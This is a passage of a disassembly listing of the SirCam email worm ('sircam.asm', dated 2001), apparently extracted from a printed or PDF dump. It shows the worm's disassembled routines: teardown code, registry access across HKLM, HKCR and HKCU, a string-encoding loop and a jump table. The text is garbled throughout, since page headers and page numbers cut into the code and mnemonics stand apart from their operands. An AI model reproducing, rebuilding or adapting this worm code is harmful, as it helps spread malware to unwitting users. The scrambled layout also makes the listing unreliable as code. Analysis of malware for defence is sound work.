db 84h ; \204 OFF32 SEGDEF [DATA,41DC84]
db 0DCh ; Ü
db 41h ; A
db
0 ;
db 80h ; \200
db 78h ; x
db
8 ;
db
0 ;
db 74h ; t
db 3Ah ; :
db 0E8h ; è
db 93h ; \223
db 0FFh ;
db 0FFh ;
db 0FFh ;
db 8Bh ; \213
db 0D8h ; Ø
db 8Bh ; \213
db 0C3h ; Ã
db 2Ch ; ,
db 80h ; \200
db 75h ; u
db 2Dh ; db 0BEh ; ¾
db 3Ch ; < OFF32 SEGDEF [CODE,415B3C]
db 5Bh ; [
db 41h ; A
db
0 ;
db 0BFh ; ¿
db 37h ; 7 OFF32 SEGDEF [DATA,41D837]
sircam.asm
off_415B4C
dword_415B98
Fri Aug 10 12:42:44 2001
589
db 0D8h ; Ø
db 41h ; A
db
0 ;
db 0B9h ; ¹
db
4 ;
db
0 ;
db
0 ;
db
0 ;
db 0F3h ; ó
db 0A5h ; ¥
db 6Ah ; j
db 48h ; H
db 0A1h ; ¡
db 7Ch ; | OFF32 SEGDEF [BSS,41E67C]
db 0E6h ; æ
db 41h ; A
db
0 ;
db 50h ; P
db 6Ah ; j
db
9 ;
db 0E8h ; è
db 93h ; \223
db
1 ;
db 0FFh ;
db 0FFh ;
db 0F7h ; ÷
db 0D8h ; Ø
db 0A3h ; £
db 30h ; 0 OFF32 SEGDEF [DATA,41D830]
db 0D8h ; Ø
db 41h ; A
db
0 ;
db 88h ; \210
db 1Dh ;
db 36h ; 6 OFF32 SEGDEF [DATA,41D836]
db 0D8h ; Ø
db 41h ; A
db
0 ;
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C3h ; Ã
align 4
dd 826C820Fh, 6F822072h, 56835383h, 4E836283h
dd offset dword_415B98 ; DATA XREF: CODE:00415E12\031o
dd 7 dup(0)
dd offset dword_415B98
dd 20h
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_415BE0
dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h
; DATA XREF: CODE:00415B4C\030o
; CODE:00415B6C\030o
dd 0C4830874h, 0D126E8F0h, 0DA8BFFFEh, 468DF08Bh, 0E1E85008h
dd 8BFFFF00h, 74DB84C6h, 0D166E80Fh, 8F64FFFEh, 5, 0CC48300h
dd 5B5EC68Bh, 408DC3h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415BE0
proc near
push
ebx
push
esi
; DATA XREF: CODE:00415B94\030o
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
mov
mov
call
lea
push
call
test
jle
mov
call
sub_402D3C
ebx, edx
esi, eax
eax, esi
sub_415C24
eax, [esi+8]
eax
j_DeleteCriticalSection_0
bl, bl
short loc_415C06
eax, esi
sub_402D2C
loc_415C06:
sub_415BE0
590
; CODE XREF: sub_415BE0+1D\030j
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415C0C
sub_415C0C
proc near
; CODE XREF: sub_415C24+17\031p
add
eax, 8
push
eax
call
j_EnterCriticalSection_0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_415C18
sub_415C18
proc near
; CODE XREF: sub_415C24+45\031p
add
eax, 8
push
eax
call
j_LeaveCriticalSection_0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415C24
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_415BE0+D\030p
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF4h
mov
[ebp+var_4], eax
jmp
short loc_415C8D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415C2F:
; CODE XREF: sub_415C24+71\031j
mov
mov
mov
mov
[ebp+var_8], eax
eax, [ebp+var_8]
[ebp+var_C], eax
eax, [ebp+var_4]
sircam.asm
Fri Aug 10 12:42:44 2001
call
xor
push
push
push
mov
mov
mov
mov
mov
xor
pop
pop
pop
mov
push
591
sub_415C0C
eax, eax
ebp
offset loc_415C6F
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_C]
eax, [eax]
edx, [ebp+var_4]
[edx+4], eax
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_415C76
loc_415C66:
; CODE XREF: sub_415C24+50\031j
mov
eax, [ebp+var_4]
call
sub_415C18
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415C6F:
; DATA XREF: sub_415C24+1F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_415C66
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415C76:
; DATA XREF: sub_415C24+3D\030o
mov
mov
test
jz
call
eax, [ebp-0Ch]
eax, [eax+4]
eax, eax
short loc_415C85
sub_402BDC
mov
call
eax, [ebp-8]
sub_4025B0
mov
mov
test
jnz
mov
pop
retn
endp
eax, [ebp+var_4]
eax, [eax+4]
eax, eax
short loc_415C2F
esp, ebp
ebp
loc_415C85:
; CODE XREF: sub_415C24+5A\030j
loc_415C8D:
sub_415C24
; CODE XREF: sub_415C24+9\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415C9C
proc near
; DATA XREF: CODE:0041A990\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_415D65
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E678
jnz
loc_415D57
mov
eax, ds:dword_41E6D0
call
sub_402BDC
mov
eax, ds:dword_41DA6C
sircam.asm
Fri Aug 10 12:42:44 2001
592
call
mov
call
call
mov
call
mov
call
mov
call
mov
call
mov
call
mov
push
call
push
call
push
call
mov
mov
mov
call
mov
mov
mov
call
sub_402BDC
eax, ds:dword_41DA68
sub_402BDC
sub_415434
eax, ds:dword_41DA70
sub_402BDC
eax, ds:dword_41E6CC
sub_402BDC
eax, ds:dword_41E6C0
sub_402BDC
eax, ds:dword_41E6C4
sub_402BDC
eax, ds:dword_41E6C8
sub_402BDC
eax, ds:dword_41E674
eax
j_DeleteObject
offset unk_41E690
j_DeleteCriticalSection_0
offset unk_41E6A8
j_DeleteCriticalSection_0
eax, offset unk_41D9A8
ecx, 12h
edx, ds:off_40BE84
sub_403BE8
eax, offset unk_41D858
ecx, 2Ah
edx, ds:off_40BE84
sub_403BE8
xor
pop
pop
pop
mov
push
; CODE XREF: sub_415C9C+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_415D6C
loc_415D57:
locret_415D64:
; CODE XREF: sub_415C9C+CE\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415D65:
; DATA XREF: sub_415C9C+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_415D64
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415D6C:
sub_415C9C
; CODE XREF: sub_415C9C+C8\030j
; DATA XREF: sub_415C9C+C3\030o
pop
ebp
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
byte_415D70
db 83h, 2Dh
; DATA XREF: CODE:0041A98C\031o
dd offset dword_41E678
dd 0ED830F01h, 0E8000000h, 0FFFFFCDAh
db 68h
dd offset unk_41E690
dd 0FEFF18E8h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
fword ptr (unk_41EF24-41EF7Ch)[eax]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0E80041E6h, 0FFFEFF0Eh, 17E8076Ah, 0A3FFFF00h
dd offset dword_41E680
dd 0BE8056Ah, 0A3FFFF00h
dd offset dword_41E684
dd 0FFE80D6Ah, 0A3FFFEFFh
sircam.asm
Fri Aug 10 12:42:44 2001
593
dd offset dword_41E688
dd 7F0068h, 0E8006A00h, 0FFFF0096h
db 0A3h
dd offset dword_41E68C
dd 0FFFD08E8h, 2CB966FFh, 0A101B200h
dd offset off_41370C
dd 0FFD98CE8h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
ds:dword_41E6C0[ebx]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 10B966h
db 0B2h, 1, 0A1h
dd offset off_41370C
dd 0FFD977E8h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
ds:dword_41E6C4[ebx]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 10B966h
db 0B2h, 1, 0A1h
dd offset off_41370C
dd 0FFD962E8h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
ds:dword_41E6C8[ebx]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 0B2h, 1, 0A1h
dd offset off_415B4C
dd 0FFFD8DE8h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
ds:dword_41E6D0[ebx]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
dl, 1
mov
eax, ds:off_40B920
call
sub_40C358
mov
ds:dword_41DA70, eax
mov
dl, 1
mov
eax, ds:off_40B920
call
sub_40C358
mov
ds:dword_41E6CC, eax
mov
ecx, offset loc_413B4C
mov
edx, offset loc_413B5C
mov
eax, ds:off_4133A0
call
sub_40C000
mov
ecx, offset loc_413D20
mov
edx, offset loc_413D30
mov
eax, ds:off_41347C
call
sub_40C000
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_InternetGetConnectedState. PRESS KEYPAD "+" TO EX
PAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415E74
proc near
; DATA XREF: CODE:0041A998\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_415E99
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E6D4
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
594
fs:[eax], edx
offset loc_415EA0
locret_415E98:
; CODE XREF: sub_415E74+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415E99:
; DATA XREF: sub_415E74+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_415E98
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415EA0:
sub_415E74
; CODE XREF: sub_415E74+24\030j
; DATA XREF: sub_415E74+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_415EA4:
sub
retn
; DATA XREF: CODE:0041A994\031o
ds:dword_41E6D4, 1
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415EAC
proc near
var_10
var_C
var_8
var_4
arg_0
arg_4
arg_8
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
mov
call
mov
call
mov
call
xor
push
push
push
mov
lea
call
mov
mov
call
mov
cmp
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_416478+94\031p
; sub_416C54+43\031p ...
-10h
-0Ch
-8
-4
8
0Ch
10h
ebp
ebp, esp
esp, 0FFFFFFF0h
ebx
esi
ebx, ebx
[ebp+var_10], ebx
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
esi, [ebp+arg_4]
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, [ebp+var_C]
sub_4038D8
eax, eax
ebp
offset loc_415F9C
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_10]
sub_4034C8
dl, 1
eax, ds:off_40E5C4
sub_40E6C4
ebx, eax
esi, 1
sircam.asm
Fri Aug 10 12:42:44 2001
595
jnz
short loc_415F14
mov
edx, 80000002h
mov
eax, ebx
call
sub_40E764
jmp
short loc_415F33
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415F14:
; CODE XREF: sub_415EAC+58\030j
cmp
esi, 2
jnz
short loc_415F27
mov
edx, 80000000h
mov
eax, ebx
call
sub_40E764
jmp
short loc_415F33
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415F27:
; CODE XREF: sub_415EAC+6B\030j
mov
mov
call
edx, 80000001h
eax, ebx
sub_40E764
loc_415F33:
; CODE XREF: sub_415EAC+66\030j
; sub_415EAC+79\030j
mov
mov
mov
call
mov
mov
call
test
jz
lea
mov
mov
call
cl, 1
edx, [ebp+var_4]
eax, ebx
sub_40E7C8
edx, [ebp+var_8]
eax, ebx
sub_40EAE4
al, al
short loc_415F5A
ecx, [ebp+var_10]
edx, [ebp+var_8]
eax, ebx
sub_40E990
cmp
jnz
mov
mov
mov
call
[ebp+arg_8], 1
short loc_415F6D
ecx, [ebp+var_C]
edx, [ebp+var_8]
eax, ebx
sub_40E964
mov
mov
mov
call
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_415EAC+B2\030j
dl, 1
eax, ebx
ecx, [eax]
dword ptr [ecx-4]
eax, [ebp+arg_0]
edx, [ebp+var_10]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_415FA3
loc_415F5A:
; CODE XREF: sub_415EAC+9F\030j
loc_415F6D:
loc_415F8E:
sub_415EAC
; CODE XREF: CODE:00415FA1\031j
lea
eax, [ebp+var_10]
mov
edx, 4
call
sub_4034EC
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415F9C:
; DATA XREF: sub_415EAC+34\030o
sircam.asm
Fri Aug 10 12:42:44 2001
596
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_415F8E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_415FA3:
; DATA XREF: sub_415EAC+DD\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_415FAC
proc near
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_416478+18B\031p
; sub_416C54+17B\031p ...
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
mov
mov
call
xor
push
push
push
mov
lea
call
mov
mov
call
mov
mov
test
jle
mov
ebp
ebp, esp
esp, 0FFFFFFE4h
ebx
esi
edi
ebx, ebx
[ebp+var_1C], ebx
[ebp+var_18], ebx
[ebp+var_14], ebx
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_41608C
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_14]
sub_4034C8
ebx, 6
eax, [ebp+var_4]
sub_403724
[ebp+var_10], eax
esi, [ebp+var_10]
esi, esi
short loc_41605E
edi, 1
inc
cmp
jnz
mov
ebx
ebx, 8
short loc_41600E
ebx, 4
cmp
jnz
lea
; CODE XREF: sub_415FAC+5B\030j
[ebp+var_8], 1
short loc_416038
eax, [ebp+var_18]
loc_416003:
; CODE XREF: sub_415FAC+B0\031j
loc_41600E:
sircam.asm
Fri Aug 10 12:42:44 2001
597
mov
edx, [ebp+var_4]
movzx
edx, byte ptr [edx+edi-1]
mov
ecx, [ebp+var_10]
add
ecx, ebx
add
edx, ecx
call
sub_403670
mov
edx, [ebp+var_18]
lea
eax, [ebp+var_14]
call
sub_40372C
jmp
short loc_41605A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416038:
lea
mov
movzx
mov
add
sub
call
mov
lea
call
; CODE XREF: sub_415FAC+66\030j
eax, [ebp+var_1C]
edx, [ebp+var_4]
edx, byte ptr [edx+edi-1]
ecx, [ebp+var_10]
ecx, ebx
edx, ecx
sub_403670
edx, [ebp+var_1C]
eax, [ebp+var_14]
sub_40372C
inc
dec
jnz
edi
esi
short loc_416003
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_415FAC+50\030j
eax, [ebp+var_C]
edx, [ebp+var_14]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_416093
loc_41605A:
; CODE XREF: sub_415FAC+8A\030j
loc_41605E:
loc_416076:
sub_415FAC
; CODE XREF: CODE:00416091\031j
lea
eax, [ebp+var_1C]
mov
edx, 3
call
sub_4034EC
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -30h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41608C:
; DATA XREF: sub_415FAC+28\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_416076
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_416093:
; DATA XREF: sub_415FAC+C5\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sircam.asm
Fri Aug 10 12:42:44 2001
sub_41609C
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
598
; CODE XREF: sub_416C54+A1\031p
; sub_4190CC+179\031p ...
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF4h
push
ebx
mov
[ebp+var_4], edx
mov
ebx, eax
mov
[ebp+var_C], 105h
mov
eax, [ebp+var_C]
call
sub_402598
mov
[ebp+var_8], eax
xor
eax, eax
push
ebp
push
offset loc_41616A
push
dword ptr fs:[eax]
mov
fs:[eax], esp
cmp
ebx, 6
; switch 7 cases
ja
short loc_416149 ; default
jmp
ds:off_4160D4[ebx*4] ; switch jump
